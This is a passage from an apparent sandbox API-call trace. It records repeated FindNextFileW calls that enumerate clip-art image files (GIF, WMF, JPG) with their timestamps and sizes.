ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0073.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0073.458] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 